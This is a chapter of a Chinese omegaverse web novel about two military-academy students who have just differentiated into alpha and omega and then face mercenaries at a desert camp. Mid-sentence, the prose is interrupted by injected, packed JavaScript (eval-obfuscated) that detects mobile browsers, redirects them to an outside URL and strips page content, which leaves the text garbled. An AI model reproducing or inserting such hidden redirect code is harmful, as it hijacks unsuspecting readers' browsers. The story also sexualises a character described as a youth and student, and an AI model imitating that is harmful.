沈逸寒点头:“没错,那祁司屿呢,你注意到了吗?” 时言:“桃子。” 沈逸寒:“你对我们有什么感觉?” 时言:“和以前差不多,但是信息素好像更强烈了,我闻着就感觉很热,怎么了吗?” 沈逸寒说:“你果然是刚分化成omega,对alpha的信息素等级不敏感,所以你察觉不到危险。” 时言若有所思地消化着这句话。 沈逸寒问:“时言,陆枭呢?他不知道吗?” 时言一提他就来气:“他啊……” 帐篷外,祁司屿的瞳孔都出现了兽化。 成年的alpha会进化出第二特征,祁司屿的是白化雪狼。 祁司屿感觉到了同类的威胁,这在赫墨斯军校里从来没发生过,显然周围有一个陌生而强大的alpha。 祁司屿烦躁地揉了揉手腕,正打算和这个alpha硬碰硬的时候,陆枭出现了。 祁司屿愣在原地,“陆枭?” 祁司屿闻了闻,“这信息素……是你的吗?” 陆枭略有些敷衍地点头,“时言在你们这?” 祁司屿惊呆了,整个人都炸裂:“你们俩居然都分化了,你还分化成了…至少是S级的alpha,这到底怎么回事?” 陆枭:“我明天再跟你解释。” 祁司屿立刻看热闹不嫌事大,“你俩吵架了?小omega半夜跑出来,你的alpha德简直是0啊!” 陆枭直接进了帐篷,这时候其他同学都陆陆续续醒来,大家都是alpha,被同类信息素一刺激,免不了躁动,至少今夜一定是无眠了。 陆枭进了这顶帐篷,顿时,祁司屿和沈逸寒都后退了好几步给自己打了一针镇定剂。 alpha用镇定剂来平稳攻击欲,以防因为omega发生致命的冲突。 时言窝在随军沙发椅里昏昏欲睡,一闻到陆枭的信息素,瞬间惊醒。 时言终于察觉到陆枭信息素的不同,格外的……霸道不讲理,把其他两个alpha挤到了墙角。 陆枭太讨厌了,要么就不分化,要么就分化成顶级alpha。 时言更不爽了。 陆枭站在他面前,薄唇微张,双眸愈发呈现深邃的琥珀色。 “言仔,你不想跟我睡,反而来找其他的alpha睡?” 时言硬着头皮怼他:“关你什么事?” 陆枭看了眼祁司屿和沈逸寒,“你睡就算了,还一口气睡两个?” 时言抱起双臂,往后一躺,“我再说一遍,你管不着。” 陆枭努力让自己心平气和地面对现实,直接躺进睡袋,“行啊,你不走,那咱们四个一起睡。” 时言:? 时言丢脸死了:“你给我起来!” 16. 团宠O 陆枭一副恶作剧得逞的模样,懒洋洋地被他拽起来:“愿意跟我回去了?” 时言现在就是很后悔没去柚木叶和莱厄斯的帐篷,至少beta不会被alpha信息素影响,不会像这两个废物一样。 时言看看祁司屿和沈逸寒那个浑身炸毛的样子,叹了口气:“你们alpha真是够小心眼的,行,今晚这局算我认输,回去再跟你算账。” 无辜被牵连的祁司屿跳起来就要踹时言屁股:“时言你什么意思?你骂陆枭就骂陆枭,我是无辜的好不好!” 沈逸寒把他拉住,冷静地说:“时言,我察觉到附近还有不知名alpha,来者不善,不管怎么说,变成omega了要保护好自己,同学们就算知道你是omega也不会伤害你,但外人不一定。” 沈逸寒的分化体是游蛇,感官能力相当一流,时言不疑有他,“知道了,有绳子吗?我这就把陆枭牵回去。” 陆枭:? 时言扯了一根绳子,套在手腕上,撩开帘子走了。 陆枭跟在他后面离开,门一关上,祁司屿冷笑着吐槽:“我以前一直以为陆枭特别有种,没想到啊,也是个没出息的alpha,一看见omega就神魂颠倒,神智不清,小omega勾勾手指就能给带走。” 沈逸寒呵呵一声,重新打开光脑看视频,不忘了调侃两句:“我纠正你一点,那不是小omega,那是时大佬,他勾勾手指,你也得跟着走。” 祁司屿躺在睡袋里准备入睡了,一听这话猛地坐起来:“我一大猛A,我凭什么跟他走?” 沈逸寒心平气和地说:“你怕打不过他呗,他多心狠手辣啊,否则怎么能排名第一的?我看陆枭这一晚上要遭罪了,他要是敢强行标记时言,时言肯定不会同意,但他要是不标记时言,从今往后,时言一个omega天天和alpha们混在一起,alpha们得疯,陆枭也得疯。” 祁司屿听了一顿坏笑,“睡了,明天早上去看热闹。” - 帐篷里,陆枭和时言对坐。 陆枭死死盯着时言看,时言不自在地挠了挠头发,“好了,你别生气了,我是怕你控制不住自己才去找他俩的。” 陆枭垂了垂眼睛,隐忍着脾气:“言言,我虽然刚分化,但还是能忍住冲动的,我明天就去弄个止咬器,只要你想,随时都可以给我戴上。” 时言觉得他好像是有点委屈,伸出手,挠了挠他的下巴。 陆枭闭着眼睛,仰着头,任由时言挠他的痒痒,一动不动。 时言觉得陆枭挺好哄的,祁司屿和沈逸寒干嘛怕成那个样子? “对了,陆枭,”时言费力地转了转脖子,“我的腺体正式分化了,藏是藏不住了,抑制贴能保证信息素不扩散,你帮我贴一下,我这太疼了,抬胳膊都费劲,自己碰不着腺体。” 时言吃力地撩开头发,修长玉白的手指挡住黑发,露出红肿的腺体,“你轻点啊。” “嗯。”陆枭捏着一枚抑制贴,凑近了少年的后颈。 软红的腺体在灯光下几乎发亮,表皮绷紧,里面甚至能看见流动的澄黄色的信息素液,只要一口咬下去,甜蜜的花汁就会在口腔里炸开,只需要贪婪地吸吮掉所有的蜜液,再用犬齿深深嵌入底层的腺体,注入带有强烈侵略意味的alpha信息素,在omega害怕而无助地颤抖中,就可以完成临时标记。 而omega获得的欢愉,会成为完全标记的催化剂,alpha们会趁火打劫,将喜欢的omega彻底变成自己的囊中之物。 所以,亲眼看着时言撩起头发,毫无防备地露出腺体,让他给贴抑制贴的时候,陆枭脑子里一片喧嚣。 陆枭克制着alpha的本能,给时言贴上了抑制贴深,呼吸一口气,声线嘶哑暗沉:“好了。” 刚分化为alpha的暴虐心情并没有得到缓解,反而愈演愈烈,急切地想要咬点什么,最好把omega软软绵绵的腺体,变成自己的领地。 陆枭能听见自己的声音无比正常,“言言,以后不要对其他alpha做这个动作,很危险。” 时言:“这有什么不行?他们也打不过我。” 陆枭:“这世界上没有一个alpha是好的。” 时言:“……” 时言拿出一针抑制剂,打算给自己注射,陆枭拦住他,“别,注射多了会在发情期得紊乱症。” 时言很认真:“我就是想推迟发情期才扎的,我说过不想被标记的。” 时言给自己扎了一针,扔了针,困得要死,躺进被子,抱着枕头就睡了过去。 陆枭静静地看着时言,眸中如波涛翻涌。 少年穿着白色睡裤,两条长腿交错着夹住被子,软韧的大腿线条和其他omega不同,十分修长硬朗,好像是怕冷,所以还穿着袜子,长长地包裹住脚踝,勒住小腿,来回地蹭着被子。 陆枭盯着他的腿,瞳孔晃了晃。 时言还老老实实地戴着那条漆皮黑腿环,肯定是忘了摘。 不知道里面会不会又穿着奇奇怪怪的、哄渣男alpha开心的情趣内衣。 陆枭告诉自己不可以,冷静地钻进被窝,关灯。 可是没过一分钟,他就睁开了眼,呼吸也随之变得粗重。 时言还保留着小时候的习惯,只要和陆枭一起睡觉,就会像只八爪鱼一样,手和脚都缠在他身上。 陆枭垂了垂眼。 时言的脑袋在陆枭下颌拱了拱,整个人窝在他怀里,腿夹着陆枭的腰,嘟嘟囔囔不知道说什么。 陆枭往旁边躲了躲,然而时言察觉到了怀里“玩偶”的离开,反而贴了过去。 陆枭又躲了一下,时言这才不追过去了。 可是沙漠的夜晚很冷,少年的身体蜷缩成一团,他变成omega之后体温有所升高,抗寒能力也有所下降。 陆枭在原地冷静了一会儿,甚至走了一圈,才让头脑稍微清醒清醒。 时言发出了怕冷的声音,听上去像是某种小猫咪在撒娇。 陆枭的身体在脑子之前作出决定。 陆枭还是躺进了时言的被窝。 时言察觉到了热源靠近,几乎一瞬间就贴了上去,重新抱住了陆枭,抱得紧紧的,蹭了蹭,呼吸终于安然下来。 陆枭低着头,看着时言红红糯糯的小嘴,就特别想亲。 omega浑身散发着香香软软的气息,暖热热的香气萦绕在帐篷里,这绝对是受刑。 陆枭冷静而绝望地想,自己还是现在就死了比较好。 “……” 陆枭认命地抱住了时言,轻轻在时言发顶吻了一下。 随后他释放大量信息素,安抚着没安全感的omega。 - 天刚刚亮,祁司屿和沈逸寒就在外面晨练,顺便到时言帐篷外看热闹。 柚木叶和莱厄斯也出来晨跑,柚木叶看见祁司屿,不客气的说:“某人偷看什么呢?” 祁司屿走过去,撸了一把柚木叶可爱的头发,“小鬼,我跟你打个赌,等会儿陆枭黑着眼圈出来。” 柚木叶扒拉掉他的手,“赌什么?” 祁司屿:“你跑十圈。” 柚木叶:“……” - 今天早上起来,时言发现自己居然是在陆枭怀里睡的。 帐篷里弥漫着一股醇厚的白咖啡熏香,陆枭的呼吸声在耳畔均匀响起,时言想起昨夜的事,脸颊爆红,试图从他紧实的臂弯里抽身。 可刚一动弹,陆枭的手臂便下意识收紧,将他往怀里又带了带,低哑的嗓音在头顶响起:“睡都睡了,别不认账。” 时言心跳如雷,垂眸盯着他骨节分明的手指,结结巴巴道:“我、我自己进来的?” 陆枭低笑出声,胸腔震动,带着晨起特有的慵懒:“昨晚你睡得不安稳,一直往我怀里钻,现在倒想溜?” 刚睡醒的时言连说话都没有攻击力,软绵绵的,陆枭忍不住搓了搓他的脸,弄乱了时言的头发。 真可爱。 想.操。 陆枭温热的掌心隔着睡衣轻抚他后背,像在安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358829|168052||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抚受惊的小动物,“言言乖,再陪我睡会儿。” 时言推他,“我都醒了,你别装傻,放开我。” 陆枭慢条斯理地说:“那我要是不放呢?” 时言很平静很平静地笑了一下,“那你可以试试看后果。” - 外面四个人争论不休,很快,时言的帐篷终于发出声音。 先是一阵安静,然后就是一阵骚乱,好像有打架的声音。 过了会儿,时言黑着脸出来,陆枭黑着眼圈出来。 “哈哈哈哈哈哈!”祁司屿乐得不行,“叶子,你输了,十圈,一圈不能少啊!” 柚木叶气得都快无语了,不过先关心时言:“时哥,你怎么了?” 时言摇摇头,“没事,昨晚睡得晚,别担心。” 莱厄斯敏锐的目光在陆枭和时言身上一扫,“你们俩昨夜一起睡了?” 时言顿时头疼:“什么叫一起睡了?!” 陆枭倒是很淡定:“嗯,睡了。” 时言:? 祁司屿看结局毫无悬念,抬了抬下巴,“喂,叶子,跑啊,我监督你。” 柚木叶恼羞成怒:“祁司屿你给我闭嘴,你总有一天栽在我手里!” 沈逸寒也忍着笑,为了避免暴躁的小beta误伤祁司屿,跟着一起走了。 莱厄斯留了下来,看着陆枭:“陆枭,你分化成了alpha?” beta闻不到A和O的信息素,但莱厄斯很聪明,一下子就猜到了。 陆枭也不瞒着他,“昨天晚上突然分化的。” 莱厄斯看了一眼时言,“那,时言一定分化成了omega,我看见了他后颈的抑制贴。” 时言不擅长撒谎,别过头,支支吾吾的。 莱厄斯还想说什么,然而营地附近突然骚乱起来。 一群陌生的alpha靠近,时言仔细一看,发现是昨天黑市里那群贩卖omega的雇佣兵。 领队一眼就看见了时言,对着耳机里说:“少将,这个小omega居然是学生,下手那么狠,看把我这帮兄弟打的,你得给我们做主!” 耳机那头,一道男性声线似乎轻笑了一声,“时言不是无分化症患者吗?” 领队:“我一眼就看出他是omega!我天天在黑市卖omega,我能不知道吗?” 少将语气温和:“别这么说,你是在我的指导下,用我们的omega特工钓非法买卖omega的人,我们是好人,不是人贩子。” 领队:“抱歉,口误口误,让时言这小子给我气的。” 少将:“试试他们的实力,别被误伤,也别弄伤时言和陆枭,这可是我们FAO的明日之星。” FAO,联邦特工组织,军部直属建立的机构,招揽能力出众的人才,不限年龄,直属领导是联邦最年轻的alpha少将莱茵。 领队一脸苦水,一挥手,一群雇佣兵围住了时言和陆枭。 时言正一肚子火没处发泄,拧了拧手腕,面无表情地走过去。 所有同学都从帐篷里跑出来了,先是震惊于陆枭分化成了顶级alpha,随后震惊于时言分化成了omega。 顿时营地爆发出了一阵喋喋不休的议论! 时言打算单挑这些雇佣兵,然而陆枭挡在他前面,似笑非笑地望过去,“敢碰我的omega,不想活了。” 同学们:! “我听见啥了?” “陆枭说时言是他的omega!” “不对,陆枭说昨晚和时言在一起了!” “昨天晚上就是他俩在外面吵?” “我确定,你看时言一身alpha味!” 时言:…… 谣言止于智者。 alpha们开始靠近陆枭,犹如群狼向狼王聚集。 他们默契地分布在各个角落,沉默地保护着群体中唯一的omega。 领队和雇佣兵们面面相觑。 领队小声对耳机里说:“……少将,这活儿得加钱啊。”